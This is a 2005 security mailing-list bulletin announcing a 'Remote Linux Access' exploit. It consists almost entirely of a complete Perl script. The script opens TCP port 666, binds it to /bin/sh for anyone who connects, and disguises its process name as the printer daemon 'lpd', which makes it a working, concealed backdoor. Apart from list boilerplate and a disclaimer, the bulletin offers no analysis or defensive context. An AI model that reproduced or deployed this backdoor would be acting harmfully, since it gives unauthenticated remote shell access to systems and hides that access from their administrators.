From: SecuriTeam <support@securiteam.com.>
To: [email protected]
Date: 8 Dec 2005 15:52:31 +0200
Subject: [EXPL] Remote Linux Access (Exploit)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20051208180142.1AA715775@mail.tyumen.ru.>
X-Virus-Scanned: antivirus-gw at tyumen.ru
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Remote Linux Access (Exploit)
------------------------------------------------------------------------
SUMMARY
The following exploit opens an arbitrary port and binds it to bash with
arbitrary permissions, allowing attackers to gain access to remote Linux
machine.
DETAILS
Exploit:
#!/usr/bin/perl
#Y! Underground Group
#code by:Y4Ho
#We Are :Y4Ho0-Iranvertex-MrPorT-S.s-LordSatan-SirSisili
#Email:[email protected]
#Email:[email protected]
#Homepage:www.emperorteam.com
#tnxto:C0llect0r-Sasan-Shabgard-simorgh.Ev-IHS
#Ex: ./Y!.pl
use Socket;
$port = 666;
$proto = getprotobyname('tcp');
$cmd = "lpd";
$system = '/bin/sh';
$0 = $cmd;
socket(SERVER, PF_INET, SOCK_STREAM, $proto)
or die "socket:$!";
setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1))
or die "setsockopt: $!";
bind(SERVER, sockaddr_in($port, INADDR_ANY))
or die "bind: $!";
listen(SERVER, SOMAXCONN) or die "listen: $!";
for(; $paddr = accept(CLIENT, SERVER); close CLIENT)
{
open(STDIN, ">&CLIENT");
open(STDOUT, ">&CLIENT");
open(STDERR, ">&CLIENT");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);
}
#EoF
ADDITIONAL INFORMATION
The information has been provided by <mailto:y4ho0_emperor@yahoo.com.>
Mr.YaHoO.
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected]
In order to subscribe to the mailing list, simply forward this email to: [email protected]
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
